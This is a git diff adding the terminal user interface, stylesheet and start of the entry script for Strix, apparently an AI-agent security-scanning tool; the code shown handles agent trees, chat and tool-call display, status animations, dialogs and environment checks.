animate=False) + + def _get_chat_placeholder_content( + self, message: str, placeholder_class: str + ) -> tuple[str, str]: + self._displayed_events = [placeholder_class] + return message, f"chat-placeholder {placeholder_class}" + + def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> str: + if not events: + return "" + + content_lines = [] + for event in events: + if event["type"] == "chat": + chat_content = self._render_chat_content(event["data"]) + if chat_content: + content_lines.append(chat_content) + elif event["type"] == "tool": + tool_content = self._render_tool_content_simple(event["data"]) + if tool_content: + content_lines.append(tool_content) + + return "\n\n".join(content_lines) + + def _update_agent_status_display(self) -> None: + try: + status_display = self.query_one("#agent_status_display", Horizontal) + status_text = self.query_one("#status_text", Static) + keymap_indicator = self.query_one("#keymap_indicator", Static) + except (ValueError, Exception): + return + + widgets = [status_display, status_text, keymap_indicator] + if not all(self._is_widget_safe(w) for w in widgets): + return + + if not self.selected_agent_id: + self._safe_widget_operation(status_display.add_class, "hidden") + return + + try: + agent_data = self.tracer.agents[self.selected_agent_id] + status = agent_data.get("status", "running") + + if status == "stopping": + self._safe_widget_operation(status_text.update, "Agent stopping...") + self._safe_widget_operation(keymap_indicator.update, "") + self._safe_widget_operation(status_display.remove_class, "hidden") + elif status == "stopped": + self._safe_widget_operation(status_text.update, "Agent stopped") + self._safe_widget_operation(keymap_indicator.update, "") + self._safe_widget_operation(status_display.remove_class, "hidden") + elif status == "completed": + self._safe_widget_operation(status_text.update, "Agent completed") + self._safe_widget_operation(keymap_indicator.update, "") + self._safe_widget_operation(status_display.remove_class, "hidden") + elif status == "waiting": + animated_text = self._get_animated_waiting_text(self.selected_agent_id) + self._safe_widget_operation(status_text.update, animated_text) + self._safe_widget_operation( + keymap_indicator.update, "[dim]Send message to resume[/dim]" + ) + self._safe_widget_operation(status_display.remove_class, "hidden") + self._start_dot_animation() + elif status == "running": + current_verb = self._get_agent_verb(self.selected_agent_id) + animated_text = self._get_animated_verb_text(self.selected_agent_id, current_verb) + self._safe_widget_operation(status_text.update, animated_text) + self._safe_widget_operation(keymap_indicator.update, "[dim]ESC to stop agent[/dim]") + self._safe_widget_operation(status_display.remove_class, "hidden") + self._start_dot_animation() + else: + self._safe_widget_operation(status_display.add_class, "hidden") + + except (KeyError, Exception): + self._safe_widget_operation(status_display.add_class, "hidden") + + def _get_agent_verb(self, agent_id: str) -> str: + if agent_id not in self._agent_verbs: + self._agent_verbs[agent_id] = random.choice(self._action_verbs) # nosec B311 # noqa: S311 + return self._agent_verbs[agent_id] + + def _start_agent_verb_timer(self, agent_id: str) -> None: + if agent_id not in self._agent_verb_timers: + self._agent_verb_timers[agent_id] = self.set_interval( + 30.0, lambda: self._change_agent_action_verb(agent_id) + ) + + def _stop_agent_verb_timer(self, agent_id: str) -> None: + if agent_id in self._agent_verb_timers: + self._agent_verb_timers[agent_id].stop() + del self._agent_verb_timers[agent_id] + + def _change_agent_action_verb(self, agent_id: str) -> None: + if agent_id not in self._agent_verbs: + self._agent_verbs[agent_id] = random.choice(self._action_verbs) # nosec B311 # noqa: S311 + return + + current_verb = self._agent_verbs[agent_id] + available_verbs = [verb for verb in self._action_verbs if verb != current_verb] + self._agent_verbs[agent_id] = random.choice(available_verbs) # nosec B311 # noqa: S311 + + if self.selected_agent_id == agent_id: + self._update_agent_status_display() + + def _get_animated_verb_text(self, agent_id: str, verb: str) -> str: + if agent_id not in self._agent_dot_states: + self._agent_dot_states[agent_id] = 0 + + dot_count = self._agent_dot_states[agent_id] + dots = "." * dot_count + return f"{verb}{dots}" + + def _get_animated_waiting_text(self, agent_id: str) -> str: + if agent_id not in self._agent_dot_states: + self._agent_dot_states[agent_id] = 0 + + dot_count = self._agent_dot_states[agent_id] + dots = "." * dot_count + + return f"Waiting{dots}" + + def _start_dot_animation(self) -> None: + if self._dot_animation_timer is None: + self._dot_animation_timer = self.set_interval(0.6, self._animate_dots) + + def _stop_dot_animation(self) -> None: + if self._dot_animation_timer is not None: + self._dot_animation_timer.stop() + self._dot_animation_timer = None + + def _animate_dots(self) -> None: + has_active_agents = False + + for agent_id, agent_data in self.tracer.agents.items(): + status = agent_data.get("status", "running") + if status in ["running", "waiting"]: + has_active_agents = True + current_dots = self._agent_dot_states.get(agent_id, 0) + self._agent_dot_states[agent_id] = (current_dots + 1) % 4 + + if ( + has_active_agents + and self.selected_agent_id + and self.selected_agent_id in self.tracer.agents + ): + selected_status = self.tracer.agents[self.selected_agent_id].get("status", "running") + if selected_status in ["running", "waiting"]: + self._update_agent_status_display() + + if not has_active_agents: + self._stop_dot_animation() + for agent_id in list(self._agent_dot_states.keys()): + if agent_id not in self.tracer.agents or self.tracer.agents[agent_id].get( + "status" + ) not in ["running", "waiting"]: + del self._agent_dot_states[agent_id] + + def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]: + chat_events = [ + { + "type": "chat", + "timestamp": msg["timestamp"], + "id": f"chat_{msg['message_id']}", + "data": msg, + } + for msg in self.tracer.chat_messages + if msg.get("agent_id") == agent_id + ] + + tool_events = [ + { + "type": "tool", + "timestamp": tool_data["timestamp"], + "id": f"tool_{exec_id}", + "data": tool_data, + } + for exec_id, tool_data in self.tracer.tool_executions.items() + if tool_data.get("agent_id") == agent_id + ] + + events = chat_events + tool_events + events.sort(key=lambda e: (e["timestamp"], e["id"])) + return events + + def watch_selected_agent_id(self, _agent_id: str | None) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + self._displayed_events.clear() + + self.call_later(self._update_chat_view) + self._update_agent_status_display() + + def _start_scan_thread(self) -> None: + def scan_target() -> None: + try: + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + + try: + agent = StrixAgent(self.agent_config) + + if not self._scan_stop_event.is_set(): + loop.run_until_complete(agent.execute_scan(self.scan_config)) + + except (KeyboardInterrupt, asyncio.CancelledError): + logging.info("Scan interrupted by user") + except (ConnectionError, TimeoutError): + logging.exception("Network error during scan") + except RuntimeError: + logging.exception("Runtime error during scan") + except Exception: + logging.exception("Unexpected error during scan") + finally: + loop.close() + self._scan_completed.set() + + except Exception: + logging.exception("Error setting up scan thread") + self._scan_completed.set() + + self._scan_thread = threading.Thread(target=scan_target, daemon=True) + self._scan_thread.start() + + def _add_agent_node(self, agent_data: dict[str, Any]) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + agent_id = agent_data["id"] + parent_id = agent_data.get("parent_id") + status = agent_data.get("status", "running") + + try: + agents_tree = self.query_one("#agents_tree", Tree) + except (ValueError, Exception): + return + + agent_name_raw = agent_data.get("name", "Agent") + + status_indicators = { + "running": "🟢", + "waiting": "🟡", + "completed": "✅", + "failed": "❌", + "stopped": "⏹️", + "stopping": "⏸️", + } + + status_icon = status_indicators.get(status, "🔵") + agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" + + if status in ["running", "waiting"]: + self._start_agent_verb_timer(agent_id) + + try: + if parent_id and parent_id in self.agent_nodes: + parent_node = self.agent_nodes[parent_id] + agent_node = parent_node.add( + agent_name, + data={"agent_id": agent_id}, + ) + parent_node.allow_expand = True + else: + agent_node = agents_tree.root.add( + agent_name, + data={"agent_id": agent_id}, + ) + + agent_node.allow_expand = False + agent_node.expand() + self.agent_nodes[agent_id] = agent_node + + if len(self.agent_nodes) == 1: + agents_tree.select_node(agent_node) + self.selected_agent_id = agent_id + + self._reorganize_orphaned_agents(agent_id) + except (AttributeError, ValueError, RuntimeError) as e: + import logging + + logging.warning(f"Failed to add agent node {agent_id}: {e}") + + def _expand_all_agent_nodes(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + agents_tree = self.query_one("#agents_tree", Tree) + self._expand_node_recursively(agents_tree.root) + except (ValueError, Exception): + logging.debug("Tree not ready for expanding nodes") + + def _expand_node_recursively(self, node: TreeNode) -> None: + if not node.is_expanded: + node.expand() + for child in node.children: + self._expand_node_recursively(child) + + def _copy_node_under(self, node_to_copy: TreeNode, new_parent: TreeNode) -> None: + agent_id = node_to_copy.data["agent_id"] + agent_data = self.tracer.agents.get(agent_id, {}) + agent_name_raw = agent_data.get("name", "Agent") + status = agent_data.get("status", "running") + + status_indicators = { + "running": "🟢", + "waiting": "🟡", + "completed": "✅", + "failed": "❌", + "stopped": "⏹️", + "stopping": "⏸️", + } + + status_icon = status_indicators.get(status, "🔵") + agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" + + new_node = new_parent.add( + agent_name, + data=node_to_copy.data, + ) + new_node.allow_expand = node_to_copy.allow_expand + + self.agent_nodes[agent_id] = new_node + + for child in node_to_copy.children: + self._copy_node_under(child, new_node) + + if node_to_copy.is_expanded: + new_node.expand() + + def _reorganize_orphaned_agents(self, new_parent_id: str) -> None: + agents_to_move = [] + + for agent_id, agent_data in self.tracer.agents.items(): + if ( + agent_data.get("parent_id") == new_parent_id + and agent_id in self.agent_nodes + and agent_id != new_parent_id + ): + agents_to_move.append(agent_id) + + if not agents_to_move: + return + + parent_node = self.agent_nodes[new_parent_id] + + for child_agent_id in agents_to_move: + if child_agent_id in self.agent_nodes: + old_node = self.agent_nodes[child_agent_id] + + if old_node.parent is parent_node: + continue + + self._copy_node_under(old_node, parent_node) + + old_node.remove() + + parent_node.allow_expand = True + self._expand_all_agent_nodes() + + def _render_chat_content(self, msg_data: dict[str, Any]) -> str: + role = msg_data.get("role") + content = escape_markup(msg_data.get("content", "")) + + if not content: + return "" + + if role == "user": + from strix.cli.tool_components.user_message_renderer import UserMessageRenderer + + return UserMessageRenderer.render_simple(content) + return content + + def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: + tool_name = tool_data.get("tool_name", "Unknown Tool") + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + result = tool_data.get("result") + + tool_colors = { + "terminal_action": "#22c55e", + "browser_action": "#06b6d4", + "python_action": "#3b82f6", + "agents_graph_action": "#fbbf24", + "file_edit_action": "#10b981", + "proxy_action": "#06b6d4", + "notes_action": "#fbbf24", + "thinking_action": "#a855f7", + "web_search_action": "#22c55e", + "finish_action": "#dc2626", + "reporting_action": "#ea580c", + "scan_start_info": "#22c55e", + "subagent_start_info": "#22c55e", + } + + color = tool_colors.get(tool_name, "#737373") + + from strix.cli.tool_components.registry import get_tool_renderer + + renderer = get_tool_renderer(tool_name) + + if renderer: + widget = renderer.render(tool_data) + content = str(widget.renderable) + else: + status_icons = { + "running": "[yellow]●[/yellow]", + "completed": "[green]✓[/green]", + "failed": "[red]✗[/red]", + "error": "[red]✗[/red]", + } + status_icon = status_icons.get(status, "[dim]○[/dim]") + + lines = [f"→ Using tool [bold blue]{escape_markup(tool_name)}[/] {status_icon}"] + + if args: + for k, v in list(args.items())[:2]: + str_v = str(v) + if len(str_v) > 80: + str_v = str_v[:77] + "..." + lines.append(f" [dim]{k}:[/] {escape_markup(str_v)}") + + if status in ["completed", "failed", "error"] and result: + result_str = str(result) + if len(result_str) > 150: + result_str = result_str[:147] + "..." + lines.append(f"[bold]Result:[/] {escape_markup(result_str)}") + + content = "\n".join(lines) + + lines = content.split("\n") + bordered_lines = [f"[{color}]▍[/{color}] {line}" for line in lines] + return "\n".join(bordered_lines) + + @on(Tree.NodeHighlighted) # type: ignore[misc] + def handle_tree_highlight(self, event: Tree.NodeHighlighted) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + node = event.node + + try: + agents_tree = self.query_one("#agents_tree", Tree) + except (ValueError, Exception): + return + + if self.focused == agents_tree and node.data: + agent_id = node.data.get("agent_id") + if agent_id: + self.selected_agent_id = agent_id + + def _send_user_message(self, message: str) -> None: + if not self.selected_agent_id: + return + + if self.tracer: + self.tracer.log_chat_message( + content=message, + role="user", + agent_id=self.selected_agent_id, + ) + + try: + from strix.tools.agents_graph.agents_graph_actions import send_user_message_to_agent + + send_user_message_to_agent(self.selected_agent_id, message) + + except (ImportError, AttributeError) as e: + import logging + + logging.warning(f"Failed to send message to agent {self.selected_agent_id}: {e}") + + self._displayed_events.clear() + self._update_chat_view() + + self.call_after_refresh(self._focus_chat_input) + + def _get_agent_name(self, agent_id: str) -> str: + try: + if self.tracer and agent_id in self.tracer.agents: + agent_name = self.tracer.agents[agent_id].get("name") + if isinstance(agent_name, str): + return agent_name + except (KeyError, AttributeError) as e: + logging.warning(f"Could not retrieve agent name for {agent_id}: {e}") + return "Unknown Agent" + + def action_toggle_help(self) -> None: + if self.show_splash or not self.is_mounted: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + return + + if isinstance(self.screen, HelpScreen): + self.pop_screen() + return + + if len(self.screen_stack) > 1: + return + + self.push_screen(HelpScreen()) + + def action_request_quit(self) -> None: + if self.show_splash or not self.is_mounted: + self.action_custom_quit() + return + + if len(self.screen_stack) > 1: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + self.action_custom_quit() + return + + self.push_screen(QuitScreen()) + + def action_stop_selected_agent(self) -> None: + if ( + self.show_splash + or not self.is_mounted + or len(self.screen_stack) > 1 + or not self.selected_agent_id + ): + return + + agent_name, should_stop = self._validate_agent_for_stopping() + if not should_stop: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + return + + self.push_screen(StopAgentScreen(agent_name, self.selected_agent_id)) + + def _validate_agent_for_stopping(self) -> tuple[str, bool]: + agent_name = "Unknown Agent" + + try: + if self.tracer and self.selected_agent_id in self.tracer.agents: + agent_data = self.tracer.agents[self.selected_agent_id] + agent_name = agent_data.get("name", "Unknown Agent") + + agent_status = agent_data.get("status", "running") + if agent_status not in ["running"]: + return agent_name, False + + agent_events = self._gather_agent_events(self.selected_agent_id) + if not agent_events: + return agent_name, False + + return agent_name, True + + except (KeyError, AttributeError, ValueError) as e: + import logging + + logging.warning(f"Failed to gather agent events: {e}") + + return agent_name, False + + def action_confirm_stop_agent(self, agent_id: str) -> None: + self.pop_screen() + + try: + from strix.tools.agents_graph.agents_graph_actions import stop_agent + + result = stop_agent(agent_id) + + import logging + + if result.get("success"): + logging.info(f"Stop request sent to agent: {result.get('message', 'Unknown')}") + else: + logging.warning(f"Failed to stop agent: {result.get('error', 'Unknown error')}") + + except Exception: + import logging + + logging.exception(f"Failed to stop agent {agent_id}") + + def action_custom_quit(self) -> None: + for agent_id in list(self._agent_verb_timers.keys()): + self._stop_agent_verb_timer(agent_id) + + if self._scan_thread and self._scan_thread.is_alive(): + self._scan_stop_event.set() + + self._scan_thread.join(timeout=1.0) + + self.tracer.cleanup() + + self.exit() + + def _is_widget_safe(self, widget: Any) -> bool: + try: + _ = widget.screen + except (AttributeError, ValueError, Exception): + return False + else: + return bool(widget.is_mounted) + + def _safe_widget_operation( + self, operation: Callable[..., Any], *args: Any, **kwargs: Any + ) -> bool: + try: + operation(*args, **kwargs) + except (AttributeError, ValueError, Exception): + return False + else: + return True + + +async def run_strix_cli(args: argparse.Namespace) -> None: + app = StrixCLIApp(args) + await app.run_async() diff --git a/strix/cli/assets/cli.tcss b/strix/cli/assets/cli.tcss new file mode 100644 index 0000000..2707ec5 --- /dev/null +++ b/strix/cli/assets/cli.tcss @@ -0,0 +1,680 @@ +Screen { + background: #1a1a1a; + color: #d4d4d4; +} + +#splash_screen { + height: 100%; + width: 100%; + background: #1a1a1a; + color: #22c55e; + content-align: center middle; + text-align: center; +} + +#splash_content { + width: auto; + height: auto; + background: transparent; + text-align: center; + padding: 2; +} + +#main_container { + height: 100%; + padding: 0; + margin: 0; + background: #1a1a1a; +} + +#content_container { + height: 1fr; + padding: 0; + background: transparent; +} + +#agents_tree { + width: 20%; + background: transparent; + border: round #262626; + border-title-color: #a8a29e; + border-title-style: bold; + margin-left: 1; + padding: 1; +} + +#chat_area_container { + width: 80%; + background: transparent; +} + +#chat_history { + height: 1fr; + background: transparent; + border: round #1a1a1a; + padding: 0; + margin-bottom: 0; + margin-right: 0; + scrollbar-background: #0f0f0f; + scrollbar-color: #262626; + scrollbar-corner-color: #0f0f0f; + scrollbar-size: 1 1; +} + +#agent_status_display { + height: 1; + background: transparent; + margin: 0; + padding: 0 1; +} + +#agent_status_display.hidden { + display: none; +} + +#status_text { + width: 1fr; + height: 100%; + background: transparent; + color: #a3a3a3; + text-align: left; + content-align: left middle; + text-style: italic; + margin: 0; + padding: 0; +} + +#keymap_indicator { + width: auto; + height: 100%; + background: transparent; + color: #737373; + text-align: right; + content-align: right middle; + text-style: none; + margin: 0; + padding: 0; +} + +#chat_input_container { + height: 3; + background: transparent; + border: round #525252; + margin-right: 0; + padding: 0; + layout: horizontal; + align-vertical: middle; +} + +#chat_input_container:focus-within { + border: round #22c55e; +} + +#chat_input_container:focus-within #chat_prompt { + color: #22c55e; + text-style: bold; +} + +#chat_prompt { + width: auto; + height: 100%; + padding: 0 0 0 1; + color: #737373; + content-align-vertical: middle; +} + +#chat_history:focus { + border: round #22c55e; +} + +#chat_input { + width: 1fr; + height: 100%; + background: #121212; + border: none; + color: #d4d4d4; + padding: 0; + margin: 0; +} + +#chat_input:focus { + border: none; +} + +#chat_input > .text-area--placeholder { + color: #525252; + text-style: italic; +} + +#chat_input > .text-area--cursor { + color: #22c55e; + background: #22c55e; +} + +.chat-placeholder { + width: 100%; + height: 100%; + content-align: center middle; + text-align: center; + color: #737373; + text-style: italic; +} + +.chat-content { + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; + padding: 0 1; + background: transparent; + width: 100%; +} + +.chat-message { + margin-bottom: 0; + padding: 0; + background: transparent; + width: 100%; +} + +.user-message { + color: #e5e5e5; + border-left: thick #3b82f6; + padding-left: 1; + margin-bottom: 1; +} + +.tool-call { + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; + padding: 0 1; + background: #0a0a0a; + border: round #1a1a1a; + border-left: thick #f59e0b; + width: 100%; +} + +.tool-call.status-completed { + border-left: thick #22c55e; + background: #0d1f12; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.tool-call.status-running { + border-left: thick #f59e0b; + background: #1f1611; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.tool-call.status-failed, +.tool-call.status-error { + border-left: thick #ef4444; + background: #1f0d0d; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.browser-tool, +.terminal-tool, +.python-tool, +.agents-graph-tool, +.file-edit-tool, +.proxy-tool, +.notes-tool, +.thinking-tool, +.web-search-tool, +.finish-tool, +.reporting-tool, +.scan-info-tool, +.subagent-info-tool { + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.browser-tool { + border-left: thick #06b6d4; +} + +.browser-tool.status-completed { + border-left: thick #06b6d4; + background: transparent; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.browser-tool.status-running { + border-left: thick #0891b2; + background: transparent; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.terminal-tool { + border-left: thick #22c55e; +} + +.terminal-tool.status-completed { + border-left: thick #22c55e; + background: transparent; +} + +.terminal-tool.status-running { + border-left: thick #16a34a; + background: transparent; +} + +.python-tool { + border-left: thick #3b82f6; +} + +.python-tool.status-completed { + border-left: thick #3b82f6; + background: transparent; +} + +.python-tool.status-running { + border-left: thick #2563eb; + background: transparent; +} + +.agents-graph-tool { + border-left: thick #fbbf24; +} + +.agents-graph-tool.status-completed { + border-left: thick #fbbf24; + background: transparent; +} + +.agents-graph-tool.status-running { + border-left: thick #f59e0b; + background: transparent; +} + +.file-edit-tool { + border-left: thick #10b981; +} + +.file-edit-tool.status-completed { + border-left: thick #10b981; + background: transparent; +} + +.file-edit-tool.status-running { + border-left: thick #059669; + background: transparent; +} + +.proxy-tool { + border-left: thick #06b6d4; +} + +.proxy-tool.status-completed { + border-left: thick #06b6d4; + background: transparent; +} + +.proxy-tool.status-running { + border-left: thick #0891b2; + background: transparent; +} + +.notes-tool { + border-left: thick #fbbf24; +} + +.notes-tool.status-completed { + border-left: thick #fbbf24; + background: transparent; +} + +.notes-tool.status-running { + border-left: thick #f59e0b; + background: transparent; +} + +.thinking-tool { + border-left: thick #a855f7; +} + +.thinking-tool.status-completed { + border-left: thick #a855f7; + background: transparent; +} + +.thinking-tool.status-running { + border-left: thick #9333ea; + background: transparent; +} + +.web-search-tool { + border-left: thick #22c55e; +} + +.web-search-tool.status-completed { + border-left: thick #22c55e; + background: transparent; +} + +.web-search-tool.status-running { + border-left: thick #16a34a; + background: transparent; +} + +.finish-tool { + border-left: thick #dc2626; +} + +.finish-tool.status-completed { + border-left: thick #dc2626; + background: transparent; +} + +.finish-tool.status-running { + border-left: thick #b91c1c; + background: transparent; +} + +.reporting-tool { + border-left: thick #ea580c; +} + +.reporting-tool.status-completed { + border-left: thick #ea580c; + background: transparent; +} + +.reporting-tool.status-running { + border-left: thick #c2410c; + background: transparent; +} + +.scan-info-tool { + border-left: thick #22c55e; + background: transparent; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.scan-info-tool.status-completed { + border-left: thick #22c55e; + background: transparent; +} + +.scan-info-tool.status-running { + border-left: thick #16a34a; + background: transparent; +} + +.subagent-info-tool { + border-left: thick #22c55e; + background: transparent; + margin: 0 !important; + margin-top: 0 !important; + margin-bottom: 0 !important; +} + +.subagent-info-tool.status-completed { + border-left: thick #22c55e; + background: transparent; +} + +.subagent-info-tool.status-running { + border-left: thick #16a34a; + background: transparent; +} + +Tree { + background: transparent; + color: #e7e5e4; + scrollbar-background: transparent; + scrollbar-color: #404040; + scrollbar-corner-color: transparent; + scrollbar-size: 1 1; +} + +Tree > .tree--label { + text-style: bold; + color: #a8a29e; + background: transparent; + padding: 0 1; + margin-bottom: 1; + border-bottom: solid #262626; + text-align: center; +} + +.tree--node { + height: 1; + padding: 0; + margin: 0; +} + +.tree--node-label { + color: #d6d3d1; + background: transparent; + text-style: none; + padding: 0 1; + margin: 0 1; +} + +.tree--node:hover .tree--node-label { + background: transparent; + color: #fafaf9; + text-style: bold; + border-left: solid #a8a29e; +} + +.tree--node.-selected .tree--node-label { + background: transparent; + color: #fafaf9; + text-style: bold; + border-left: heavy #d6d3d1; +} + +.tree--node.-expanded .tree--node-label { + text-style: bold; + color: #fafaf9; + background: transparent; + border-left: solid #78716c; +} + +Tree:focus { + border: round #262626; +} + +Tree:focus > .tree--label { + color: #fafaf9; + text-style: bold; + background: transparent; +} + +.tree--node .tree--node .tree--node-label { + color: #a8a29e; + padding-left: 2; + border: none; + background: transparent; + margin-left: 1; +} + +.tree--node .tree--node:hover .tree--node-label { + background: transparent; + color: #e7e5e4; +} + +.tree--node .tree--node .tree--node .tree--node-label { + color: #78716c; + padding-left: 3; + text-style: none; + border: none; + background: transparent; + margin-left: 2; +} + +StopAgentScreen { + align: center middle; + background: $background 0%; +} + +#stop_agent_dialog { + grid-size: 1; + grid-gutter: 1; + grid-rows: auto auto; + padding: 1; + width: 30; + height: auto; + border: round #a3a3a3; + background: #1a1a1a 98%; +} + +#stop_agent_title { + color: #a3a3a3; + text-style: bold; + text-align: center; + width: 100%; + margin-bottom: 0; +} + +#stop_agent_buttons { + grid-size: 2; + grid-gutter: 1; + grid-columns: 1fr 1fr; + width: 100%; + height: 1; +} + +#stop_agent_buttons Button { + height: 1; + min-height: 1; + border: none; + text-style: bold; +} + +#stop_agent { + background: transparent; + color: #ef4444; + border: none; +} + +#stop_agent:hover, #stop_agent:focus { + background: #ef4444; + color: #ffffff; + border: none; +} + +#cancel_stop { + background: transparent; + color: #737373; + border: none; +} + +#cancel_stop:hover, #cancel_stop:focus { + background:rgb(54, 54, 54); + color: #ffffff; + border: none; +} + +QuitScreen { + align: center middle; + background: $background 0%; +} + +#quit_dialog { + grid-size: 1; + grid-gutter: 1; + grid-rows: auto auto; + padding: 1; + width: 24; + height: auto; + border: round #525252; + background: #1a1a1a 98%; +} + +#quit_title { + color: #d4d4d4; + text-style: bold; + text-align: center; + width: 100%; + margin-bottom: 0; +} + +#quit_buttons { + grid-size: 2; + grid-gutter: 1; + grid-columns: 1fr 1fr; + width: 100%; + height: 1; +} + +#quit_buttons Button { + height: 1; + min-height: 1; + border: none; + text-style: bold; +} + +#quit { + background: transparent; + color: #ef4444; + border: none; +} + +#quit:hover, #quit:focus { + background: #ef4444; + color: #ffffff; + border: none; +} + +#cancel { + background: transparent; + color: #737373; + border: none; +} + +#cancel:hover, #cancel:focus { + background:rgb(54, 54, 54); + color: #ffffff; + border: none; +} + +HelpScreen { + align: center middle; + background: $background 0%; +} + +#dialog { + grid-size: 1; + grid-gutter: 0 1; + grid-rows: auto auto; + padding: 1 2; + width: 40; + height: auto; + border: round #22c55e; + background: #1a1a1a 98%; +} + +#help_title { + color: #22c55e; + text-style: bold; + text-align: center; + width: 100%; + margin-bottom: 1; +} + +#help_content { + color: #d4d4d4; + text-align: left; + width: 100%; + margin-bottom: 1; + padding: 0; + background: transparent; + text-style: none; +} diff --git a/strix/cli/main.py b/strix/cli/main.py new file mode 100644 index 0000000..4474125 --- /dev/null +++ b/strix/cli/main.py @@ -0,0 +1,542 @@ +#!/usr/bin/env python3 +""" +Strix Agent Command Line Interface +""" + +import argparse +import asyncio +import logging +import os +import secrets +import sys +from pathlib import Path +from typing import Any +from urllib.parse import urlparse + +import docker +import litellm +from docker.errors import DockerException +from rich.console import Console +from rich.panel import Panel +from rich.text import Text + +from strix.cli.app import run_strix_cli +from strix.cli.tracer import get_global_tracer +from strix.runtime.docker_runtime import STRIX_IMAGE + + +logging.getLogger().setLevel(logging.ERROR) + + +def format_token_count(count: float) -> str: + count = int(count) + if count >= 1_000_000: + return f"{count / 1_000_000:.1f}M" + if count >= 1_000: + return f"{count / 1_000:.1f}K" + return str(count) + + +def validate_environment() -> None: + console = Console() + missing_required_vars = [] + missing_optional_vars = [] + + if not os.getenv("STRIX_LLM"): + missing_required_vars.append("STRIX_LLM") + + if not os.getenv("LLM_API_KEY"): + missing_required_vars.append("LLM_API_KEY") + + if not os.getenv("PERPLEXITY_API_KEY"): + missing_optional_vars.append("PERPLEXITY_API_KEY") + + if missing_required_vars: + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red") + error_text.append("\n\n", style="white") + + for var in missing_required_vars: + error_text.append(f"• {var}", style="bold yellow") + error_text.append(" is not set\n", style="white") + + if missing_optional_vars: + error_text.append( + "\nOptional (but recommended) environment variables:\n", style="dim white" + ) + for var in missing_optional_vars: + error_text.append(f"• {var}", style="dim yellow") + error_text.append(" is not set\n", style="dim white") + + error_text.append("\nRequired environment variables:\n", style="white") + error_text.append("• ", style="white") + error_text.append("STRIX_LLM", style="bold cyan") + error_text.append( + " - Model name to use with litellm (e.g., 'anthropic/claude-sonnet-4-20250514')\n", + style="white", + ) + error_text.append("• ", style="white") + error_text.append("LLM_API_KEY", style="bold cyan") + error_text.append(" - API key for the LLM provider\n", style="white") + + if missing_optional_vars: + error_text.append("\nOptional environment variables:\n", style="white") + error_text.append("• ", style="white") + error_text.append("PERPLEXITY_API_KEY", style="bold cyan") + error_text.append( + " - API key for Perplexity AI web search (enables real-time research)\n", + style="white", + ) + + error_text.append("\nExample setup:\n", style="white") + error_text.append( + "export STRIX_LLM='anthropic/claude-sonnet-4-20250514'\n", style="dim white" + ) + error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white") + if missing_optional_vars: + error_text.append( + "export PERPLEXITY_API_KEY='your-perplexity-key-here'", style="dim white" + ) + + panel = Panel( + error_text, + title="[bold red]🛡️ STRIX CONFIGURATION ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + +def _validate_llm_response(response: Any) -> None: + if not response or not response.choices or not response.choices[0].message.content: + raise RuntimeError("Invalid response from LLM") + + +async def warm_up_llm() -> None: + console = Console() + + try: + model_name = os.getenv("STRIX_LLM", "anthropic/claude-sonnet-4-20250514") + api_key = os.getenv("LLM_API_KEY") + + if api_key: + litellm.api_key = api_key + + test_messages = [ + {"role": "system", "content": "You are a helpful assistant."}, + {"role": "user", "content": "Reply with just 'OK'."}, + ] + + response = litellm.completion( + model=model_name, + messages=test_messages, + max_tokens=10, + ) + + _validate_llm_response(response) + + except Exception as e: # noqa: BLE001 + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("LLM CONNECTION FAILED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Could not establish connection to the language model.\n", style="white") + error_text.append("Please check your configuration and try again.\n", style="white") + error_text.append(f"\nError: {e}", style="dim white") + + panel = Panel( + error_text, + title="[bold red]🛡️ STRIX STARTUP ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + +def generate_run_name() -> str: + # fmt: off + adjectives = [ + "stealthy", "sneaky", "crafty", "elite", "phantom", "shadow", "silent", + "rogue", "covert", "ninja", "ghost", "cyber", "digital", "binary", + "encrypted", "obfuscated", "masked", "cloaked", "invisible", "anonymous" + ] + nouns = [ + "exploit", "payload", "backdoor", "rootkit", "keylogger", "botnet", "trojan", + "worm", "virus", "packet", "buffer", "shell", "daemon", "spider", "crawler", + "scanner", "sniffer", "honeypot", "firewall", "breach" + ] + # fmt: on + adj = secrets.choice(adjectives) + noun = secrets.choice(nouns) + number = secrets.randbelow(900) + 100 + return f"{adj}-{noun}-{number}" + + +def infer_target_type(target: str) -> tuple[str, dict[str, str]]: + if not target or not isinstance(target, str): + raise ValueError("Target must be a non-empty string") + + target = target.strip() + + parsed = urlparse(target) + if parsed.scheme in ("http", "https"): + if any( + host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"] + ): + return "repository", {"target_repo": target} + return "web_application", 